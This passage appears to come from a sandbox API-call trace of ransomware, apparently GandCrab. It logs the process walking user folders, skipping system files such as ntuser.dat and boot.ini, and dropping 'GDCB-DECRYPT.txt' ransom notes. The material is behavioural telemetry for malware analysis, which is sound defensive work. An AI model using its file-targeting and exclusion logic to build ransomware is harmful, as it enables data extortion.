param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned 87 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned 87 [0135.717] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0135.717] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0135.717] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned 86 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned 86 [0135.717] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\GDCB-DECRYPT.txt") returned 82 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.717] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.717] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned 82 [0135.717] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned 82 [0135.717] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned 85 [0135.718] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned 85 [0135.718] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned 90 [0135.718] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned 90 [0135.718] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned 83 [0135.718] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned 83 [0135.718] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.718] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.718] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.718] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.718] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned 74 [0135.718] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" [0135.718] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7680 [0135.718] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.718] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.719] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.719] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.719] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.719] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.719] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt" [0135.719] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.719] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.719] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.719] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.719] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\\\GDCB-DECRYPT.txt") returned 91 [0135.719] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\network shortcuts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.719] GetLastError () returned 0x50 [0135.719] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\") returned 74 [0135.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" [0135.719] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7680 [0135.720] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.720] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.720] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.720] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.720] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.720] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.720] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.720] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.720] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.720] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned 74 [0135.720] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" [0135.720] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7980 [0135.720] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.720] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.720] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.720] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.720] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.720] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.720] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.720] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt" [0135.720] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.720] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.720] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.720] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.720] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\\\GDCB-DECRYPT.txt") returned 91 [0135.720] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\printer shortcuts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.721] GetLastError () returned 0x50 [0135.721] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\") returned 74 [0135.721] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" [0135.721] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7680 [0135.721] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.721] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.721] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.721] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\GDCB-DECRYPT.txt") returned 90 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.721] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.722] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.722] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.722] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.722] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.722] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 63 [0135.722] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" [0135.722] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7680 [0135.723] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.723] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.723] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.723] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.723] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.723] lstrcmpW (lpString1="-5DB1ff.lnk", lpString2=".") returned 1 [0135.723] lstrcmpW (lpString1="-5DB1ff.lnk", lpString2="..") returned 1 [0135.723] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-5DB1ff.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk" [0135.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-5DB1ff.lnk") returned 74 [0135.724] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.724] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.724] lstrcmpW (lpString1="-XKS.lnk", lpString2=".") returned 1 [0135.724] lstrcmpW (lpString1="-XKS.lnk", lpString2="..") returned 1 [0135.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-XKS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk" [0135.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-XKS.lnk") returned 71 [0135.724] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.724] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.724] lstrcmpW (lpString1="-__krKwuDNCw7vix_s.lnk", lpString2=".") returned 1 [0135.724] lstrcmpW (lpString1="-__krKwuDNCw7vix_s.lnk", lpString2="..") returned 1 [0135.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="-__krKwuDNCw7vix_s.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk" [0135.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-__krKwuDNCw7vix_s.lnk") returned 85 [0135.724] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.724] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.724] lstrcmpW (lpString1="004-sn-0z5C.lnk", lpString2=".") returned 1 [0135.724] lstrcmpW (lpString1="004-sn-0z5C.lnk", lpString2="..") returned 1 [0135.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="004-sn-0z5C.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk" [0135.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\004-sn-0z5C.lnk") returned 78 [0135.724] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.724] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.724] lstrcmpW (lpString1="0EsxwfGpf (2).lnk", lpString2=".") returned 1 [0135.724] lstrcmpW (lpString1="0EsxwfGpf (2).lnk", lpString2="..") returned 1 [0135.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0EsxwfGpf (2).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk" [0135.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf (2).lnk") returned 80 [0135.724] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.724] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.724] lstrcmpW (lpString1="0EsxwfGpf.lnk", lpString2=".") returned 1 [0135.724] lstrcmpW (lpString1="0EsxwfGpf.lnk", lpString2="..") returned 1 [0135.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0EsxwfGpf.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk" [0135.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0EsxwfGpf.lnk") returned 76 [0135.724] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.724] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.724] lstrcmpW (lpString1="0fbVcV3Zv5.lnk", lpString2=".") returned 1 [0135.724] lstrcmpW (lpString1="0fbVcV3Zv5.lnk", lpString2="..") returned 1 [0135.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0fbVcV3Zv5.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk" [0135.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0fbVcV3Zv5.lnk") returned 77 [0135.724] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.724] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.724] lstrcmpW (lpString1="0qcuk3G0.lnk", lpString2=".") returned 1 [0135.724] lstrcmpW (lpString1="0qcuk3G0.lnk", lpString2="..") returned 1 [0135.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0qcuk3G0.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk" [0135.724] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0qcuk3G0.lnk") returned 75 [0135.724] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.724] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.724] lstrcmpW (lpString1="0RdiLe2R39_-D0kBjV.lnk", lpString2=".") returned 1 [0135.724] lstrcmpW (lpString1="0RdiLe2R39_-D0kBjV.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="0RdiLe2R39_-D0kBjV.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0RdiLe2R39_-D0kBjV.lnk") returned 85 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="1 VB53.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="1 VB53.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1 VB53.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1 VB53.lnk") returned 73 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, 